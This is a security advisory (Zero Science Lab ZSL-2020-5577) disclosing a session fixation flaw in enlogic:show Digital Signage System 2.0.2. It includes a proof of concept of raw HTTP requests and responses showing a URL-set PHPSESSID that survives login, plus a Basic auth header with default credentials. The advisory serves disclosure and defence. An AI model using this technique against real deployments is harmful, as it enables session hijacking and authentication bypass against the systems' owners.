All-Dynamics Software enlogic:show Digital Signage System 2.0.2 Session Fixation

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All-Dynamics Software enlogic:show Digital Signage System 2.0.2 Session Fixation  
  
  
Vendor: All-Dynamics Software GmbH  
Vendor web page: https://www.all-dynamics.de  
Product web page: https://www.enlogic-show.com  
Affected version: 2.0.2 (Build 2098) ILP32W 0/1/3/1597919619  
  
Summary: Bring communication with your customers, guests or employees  
to a new level. You can design content individually and uncomplicated  
centrally and simply present it in different locations. Whether on large  
displays, steles, digital signs or on a projector, with enlogic:show your  
content will appear on the selected display in a calendar-controlled and  
precise manner.  
  
Desc: The initial visit from the welcome.php screen to the login page  
sets a random PHP session identifier in the URL using HTTP GET request.  
An attacker can forge the request sent to the victim setting a fixated  
PHP session that can be used to bypass authentication and execute further  
attacks via CSRF.  
  
Tested on: enlogic:show server  
Microsoft Windows Server 2019  
Microsoft Windows Server 2016  
Microsoft Windows Server 2012  
Microsoft Windows 10  
GNU/Linux  
Apache  
PHP  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2020-5577  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5577.php  
  
  
21.07.2020  
  
--  
  
  
Visiting the following GET request sets the PHP session:  
--------------------------------------------------------  
  
GET /index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65 HTTP/1.1  
Host: localhost:8802  
  
HTTP/1.0 302 Moved Temporarily  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Location: /index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65  
Content-type: text/html  
  
  
Victim is redirected to authorize:  
----------------------------------  
  
HTTP/1.0 401 Authorization Required  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
WWW-Authenticate: Basic realm="enlogic.show server"  
Content-type: text/html  
  
  
Session fixated:  
----------------  
  
GET /index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65 HTTP/1.1  
Host: localhost:8802  
Connection: keep-alive  
Cache-Control: max-age=0  
Authorization: Basic YWRtaW46YWRtaW4=  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: none  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
  
  
HTTP/1.0 200 OK  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-type: text/html  
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